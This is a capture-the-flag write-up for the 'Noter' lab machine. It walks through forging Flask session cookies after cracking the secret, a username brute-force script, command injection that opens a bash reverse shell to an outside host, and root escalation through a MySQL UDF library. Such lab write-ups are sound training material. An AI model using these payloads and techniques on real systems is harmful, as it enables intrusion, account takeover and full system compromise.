Noter

Recon

nmap_scan.log
Open 10.129.72.225:22
Open 10.129.72.225:21
Open 10.129.72.225:5000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -sC -Pn" on ip 10.129.72.225

PORT     STATE SERVICE REASON  VERSION
21/tcp   open  ftp     syn-ack vsftpd 3.0.3
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9sErZs2sCkq/262nV1zdXEGf00ExAMp2kLEX6LbjqWR0hxEzCpeSpAhzTJHHo1N584SHFVoclvr/Ex4+hJP04aGGs6vpyGWVAsIHzHWbAjHBYLe/zFejuRDuZH12e2x1Y7jr0aOYRS2D1t+guTAGUFqj5cUALWk4poKmn6Rzszw0S8TuddEUoWi804TJ5jkH6u4l8bSVFsj+vRUKwYAXqBnbrBbEWHe2VH6VIYscGTmGyzi7WpeX+sbF/+Y5kDeKiczLG5OMN1zU+ulEG6W+z3kDV0CejFbOQ3A9Ps+AS4e4M8IrkAVvK0s8MO3WxX7O+T7EBKriY6+P6JyBLOSd1brcwfzJNe9d9NSgn5c0FspU0HxQM3ywnXNxYJWhkwtx43jpxfJBB2z7Szn3IgCI0Z+p/2eVb4Dj4vgqlr4yrQdvASeu4SUGDe8ny2U7xbsY5Bo4CuaCEHGTT2WNAaSUrG9V3Zu+uQumnF9Ap2VajqMnLThVbRZnK6ILgJba+SzM=
|   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKmBOrK+95eONxSI2LauKub0LOAaVIgg6g6iAjDxaMxVgnTyYfEZYZIv37QyMKHdSQj4hV1tF6YJzsTiFRg48uc=
|   256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPXDDWdqYU5p6XE4F5sJyCxfu+jWj0BKyUNT88hJS4jM
5000/tcp open  http    syn-ack Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (5000)

Writeup.png

After registering we can add Notes or become VIP. When trying to add note we get a warning that CKEditor 4 is not secure.

Writeup-1.png

The version led me to CVE-2024-37888, but it doesn't work because (most probably) we are not using rich text editor, just bold italic and etc.

Writeup-2.png

The authentication mechanism is pretty secure, it's not allowing IDOR; reading other's notes. No XSS so far. We could try attacking the Flask Cookies.

└─$ flask-unsign -d -c 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdDAyQG5vdGVyLmh0YiJ9.Z13UiQ.QF6dGeYrnv4bcV3oXDM0vfv2BnA'
{'logged_in': True, 'username': 'test02@noter.htb'}
└─$ flask-unsign -u --wordlist $rockyou --no-literal-eval -c 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdDAyQG5vdGVyLmh0YiJ9.Z13UiQ.QF6dGeYrnv4bcV3oXDM0vfv2BnA'
[*] Session decodes to: {'logged_in': True, 'username': 'test02@noter.htb'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17152 attempts
b'secret123'

admin as username didn't work, the website also doesn't have any usernames.

└─$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.Z13WFw.41wL3gp96LhSDtxxfi0G9v9x6n8

Brute the username

import requests
from flask_unsign.session import sign

URL = 'http://10.129.72.225:5000/notes'
SECRET = 'secret123'
NAMES = '/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt'

data = {'logged_in': True, 'username': 'admin'}
with open(NAMES) as f:
    for i, username in enumerate(f):
        username = username.strip()
        data['username'] = username
        cookie = {'session': sign(data, SECRET)}
        resp = requests.get(URL, cookies=cookie, allow_redirects=False)
        print(f'\r[{i}] {username} - session={cookie["session"]} {" "*16}', end='')
        if resp.status_code == 302:
            continue

        print(f'\r[{i}] {username} - session={cookie["session"]} {" "*16}')
        break

# [112] blue - session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Z13bAQ.zM40ayFGKu5BKEjL-I4oEaC01o8
Writeup-3.png

FTP (21)

└─$ sshpass -p 'blue@Noter!' ftp blue@10.129.72.225
Connected to 10.129.72.225.
220 (vsFTPd 3.0.3)
ftp> ls
229 Entering Extended Passive Mode (|||48297|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 May 02  2022 files
-rw-r--r--    1 1002     1002        12569 Dec 24  2021 policy.pdf
226 Directory send OK.
ftp> mget *
mget files [anpqy?]? a
Writeup-4.png

We got 1 more user ftp_admin from the website so let's try that.

└─$ sshpass -p 'ftp_admin@Noter!' ftp ftp_admin@10.129.72.225
ftp> ls
229 Entering Extended Passive Mode (|||19975|)
150 Here comes the directory listing.
-rw-r--r--    1 1003     1003        25559 Nov 01  2021 app_backup_1635803546.zip
-rw-r--r--    1 1003     1003        26298 Dec 01  2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> mget *
mget app_backup_1635803546.zip [anpqy?]? a
└─$ unzip app_backup_1635803546.zip -d app_backup_1635803546
└─$ unzip app_backup_1638395546.zip -d app_backup_1638395546

app_backup_1638395546 is more up to date, but app_backup_1635803546 had some credentials hardcoded.

Writeup-5.png

Creds: root:Nildogg36

blue user is VIP so he can export notes. One of the functionality is exporting from URL which must end with md.

Writeup-6.png

local export dies right away for some reason.

The export feature is using subprocess, with shell=True and is point of interest.

Writeup-7.png

Create malicious md file with command injection

# Fails, dies right away
; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1'; #

# Works, because we escaped the `'`
'; /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1"; #

Reverse Shell

(remote) svc@noter:/home/svc/app/web$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)

User.txt

(remote) svc@noter:/home/svc$ cat user.txt
87035656f3f9cd7f2fc52a74c9a31f2b

MySQL

(remote) svc@noter:/home/svc$ mysql -u root -p'Nildogg36' -e 'SHOW DATABASES;'
+--------------------+
| Database           |
+--------------------+
| app                |
| information_schema |
| mysql              |
| performance_schema |
| test               |
+--------------------+
(remote) svc@noter:/home/svc$ mysql -u root -p'Nildogg36' app -e 'SHOW TABLES;'
+---------------+
| Tables_in_app |
+---------------+
| notes         |
| users         |
+---------------+
(remote) svc@noter:/home/svc$ mysql -u root -p'Nildogg36' app -e 'SELECT * FROM users;'
+------------------+------------------+------------------+-------------------------------------------------------------------------------+------+
| name             | email            | username         | password                                                                      | role |
+------------------+------------------+------------------+-------------------------------------------------------------------------------+------+
| Blue Wilson      | blue@Noter.htb   | blue             | $5$rounds=535000$76NyOgtW18b3wIqL$HZqlzNHs1SdzbAb2V6EyAnqYNskA3K.8e1iDesL5vI2 | VIP  |
| test02@noter.htb | test02@noter.htb | test02@noter.htb | $5$rounds=535000$I5Dp.yymxxAVTLws$2TM2vX4VvAm/YBouyTpS8lqPgzrba9.HjBgJs6VEFU6 | NULL |
+------------------+------------------+------------------+-------------------------------------------------------------------------------+------+
(remote) svc@noter:/home/svc$ mysql -u root -p'Nildogg36' test -e 'SHOW TABLES;'

Privilege Escalation

When we try to list processes we only see ours and MySQL doesn't seem to be running as root. 🤔

(remote) svc@noter:/home/svc$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
svc         1238  0.1  1.3 621912 55940 ?        Ssl  18:42   0:11 PM2 v5.2.0: God Daemon (/home/svc/.pm2)
svc         1262  1.4  1.1 1083624 47352 ?       Ssl  18:42   1:35 /usr/bin/python3 /home/svc/app/web/app.py
svc        57682  0.0  0.0   6892  3196 ?        S    20:21   0:00 /bin/bash -c node misc/md-to-pdf.js  $''; /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1"; #' 1878
svc        57697  0.0  0.0   6892  3316 ?        S    20:21   0:00 /bin/bash -c /bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1
svc        57698  0.0  0.1   8208  5136 ?        S    20:21   0:00 /bin/bash -i
svc        57726  0.0  0.0   5604  2252 ?        S    20:21   0:00 /usr/bin/script -qc /usr/bin/bash /dev/null
svc        57727  0.0  0.1   8328  5256 pts/0    Ss   20:21   0:00 /usr/bin/bash
svc        59397  0.0  0.0   8892  3424 pts/0    R+   20:32   0:00 ps aux
(remote) svc@noter:/home/svc$ mount | grep ^proc
proc on /proc type proc (rw,relatime,hidepid=2)
(remote) svc@noter:/home/svc$ mysql -u root -p'Nildogg36' app -e 'SELECT LOAD_FILE("/etc/shadow");'
+--------------------------+
| LOAD_FILE("/etc/shadow") |
+--------------------------+
| NULL                     |
+--------------------------+

It's odd, because we seem to have All Privileges...

(remote) svc@noter:/home/svc$ mysql -u root -p'Nildogg36' app -e 'SHOW GRANTS;'
+----------------------------------------------------------------------------------------------------------------------------------------+
| Grants for root@localhost                                                                                                              |
+----------------------------------------------------------------------------------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO `root`@`localhost` IDENTIFIED BY PASSWORD '*937440AD99CBB4A102402708AA43B689818489C8' WITH GRANT OPTION |
| GRANT PROXY ON ''@'%' TO 'root'@'localhost' WITH GRANT OPTION                                                                          |
+----------------------------------------------------------------------------------------------------------------------------------------+

We can use UDF Library Injection: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md#command---udf-library

lib_mysqludf_sys

Plugins are stored in /usr/lib/x86_64-linux-gnu/mariadb19/plugin/

MariaDB [app]> show variables like 'plugin%';
+-----------------+---------------------------------------------+
| Variable_name   | Value                                       |
+-----------------+---------------------------------------------+
| plugin_dir      | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma                                       |
+-----------------+---------------------------------------------+
2 rows in set (0.001 sec)

https://github.com/1N3/PrivEsc/blob/master/mysql/raptor_udf2.c

└─$ curl -LOs https://github.com/1N3/PrivEsc/raw/refs/heads/master/mysql/raptor_udf2.c
---
(remote) svc@noter:/tmp$ curl 10.10.14.113/raptor_udf2.c -Os
(remote) svc@noter:/tmp$ gcc -g -c raptor_udf2.c
(remote) svc@noter:/tmp$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
(remote) svc@noter:/tmp$ mysql -u root -p'Nildogg36' mysql
MariaDB [mysql]> create table foo(line blob);
MariaDB [mysql]> insert into foo values(load_file('/tmp/raptor_udf2.so'));
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
MariaDB [mysql]> select do_system('install -m4777 /bin/bash /tmp/rootbash');
MariaDB [mysql]> \!sh ls /tmp/rootbash -lah
-rwsrwxrwx 1 root root 1.2M Dec 14 21:17 /tmp/rootbash
MariaDB [mysql]> exit
Bye
(remote) svc@noter:/tmp$ /tmp/rootbash -p
(remote) root@noter:/tmp# id
uid=1001(svc) gid=1001(svc) euid=0(root) groups=1001(svc)

Root.txt

(remote) root@noter:/tmp# cat /root/root.txt
d1835484ceaff84bf413e428d684ad76

Last updated